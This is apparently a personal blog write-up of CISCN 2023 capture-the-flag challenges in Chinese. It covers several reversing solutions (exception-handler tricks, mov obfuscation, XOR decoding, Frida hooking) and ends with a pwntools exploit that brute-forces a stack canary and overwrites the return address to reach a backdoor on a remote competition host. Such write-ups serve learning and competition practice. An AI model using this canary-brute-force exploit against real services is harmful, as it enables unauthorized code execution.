CISCN 2023 好久没有发博客了x_x
Reverse Ezbyte 这题是64位无壳 从start函数开始看
nput之后将input载入了两个函数 sub_46F4F0k看不出什么东西 看 sub_404C21
得到flag的头部和尾部,跟进 sub_404BF5,但是函数内部看不出什么东西, 回来看看汇编
这里将所有输入传入r12 r13 之类的之后就没有处理了。 再回到main函数
看到有没有被调用的block,推测是cpp异常。
但是没有找到try和catch。只有unwind,再看看其他函数,基本上都被unwind了。那推测可能是cpp异常处理中做了手脚
c++ 异常处理(1) - twoon - 博客园 (cnblogs.com)
应该是对unwind中的字节码修改了,然后再unwind的过程中被折叠。
用readelf -Wwf 读取eh_frame 和dwarf 字节码
得出寄存器逻辑 ,但是这样找不到对比的密文。 推测为自我异或得出0或者非零来确认flag。 写脚本试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 r15enc = 8722213363631027234 r15xor=1890878197237214971 r15add=9123704 r14enc = 2451795628338718684 r14xor=1098791727398412397 r14add=1512312 r13enc = 8502251781212277489 r13xor=1209847170981118947 r13add=8971237 r12enc = 2616514329260088143 r12xor=1237891274917891239 r12add=1892739 def decypto (enc,add,xor ): enc^=xor enc-=add return enc def pe (reg ): flag='' for i in range (8 ): flag+=chr (reg>>i*8 &0xff ) print (flag) r15=decypto(r15enc,r15add,r15xor) print (hex (r15))r14=decypto(r14enc,r14add,r14xor) r13=decypto(r13enc,r13add,r13xor) r12=decypto(r12enc,r12add,r12xor) pe(r12) pe(r13) pe(r14) pe(r15)
movAside 这题是mov 混淆,直接调试是调不动的,估计time之前有反调试。输入的flag有一次回显。所有函数都是由plt 表调用的。
改成
Put的位置 然后发现输入和输出是一一对应的。密文在data段内。 这题就可以结束了。 用subproseess或者pwntools都可以爆破。不过我写的时候时间比较紧张,直接手搓了
flag{781dda4e-d910-4f06-8f5b-5c3755182337}
babyre 进入xml内给的网站,import,xml文件
按照流程运行 ,提示输入flag。 点到lock部分,得到全部密文和加密方式
1 2 3 4 5 6 7 list =[102 ,10 ,13 ,6 ,28 ,74 ,3 ,1 ,3 ,7 ,85 ,0 ,4 ,75 ,20 ,92 ,92 ,8 ,28 ,25 ,81 ,83 ,7 ,28 ,76 ,88 ,9 ,0 ,29 ,73 ,0 ,86 ,4 ,87 ,87 ,82 ,84 ,85 ,4 ,85 ,87 ,30 ]print (len (list ))for i in range (1 ,len (list )): list [i]=list [i]^list [i-1 ] print (list )print ('' .join([chr (i) for i in list ]))
flutterror 这题是fallwind✌给的思路,通过fridahook住android_log ,然后回溯栈调用,找到关键加密函数,提取密文,最后hookcmp函数。还原密文。
问题是我的frida有点问题,起这题的时候一直找不到libflutter。可能是frida版本太高了,也可能是手机自身的问题,我感觉我的安卓环境问题蛮多的。过两天再试试
Pwn 第二题的re不是很会写了。。就写了道pwn
funcanary 通过fork进程爆破canary - zhang293 - 博客园 (cnblogs.com)
fork进程爆破canary+ 局部复用跳转backdoor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from pwn import p8 , p64 , u32context.log_level = 'debug' context(arch='amd64' , os='linux' ) p=remote('47.95.212.224' , 14543 ) p.recv() canary = b'\x00' for i in range (7 ): for j in range (0 ,256 ): payload=b'a' *104 +canary+bytes ([j]) p.send(payload) print (payload) sleep(0.01 ) back = p.recvuntil('welcome\n' ) if (b"have fun" in back): canary += bytes ([j]) break p.sendline(b'a' ) for i in range (16 ): p.recvuntil(b'welcome\n' ) payload=b'a' *104 +canary+b'\x00' *8 +b'\x2e' +bytes ([i*16 +2 ]) p.send(payload) sleep(0.01 ) p.interactive()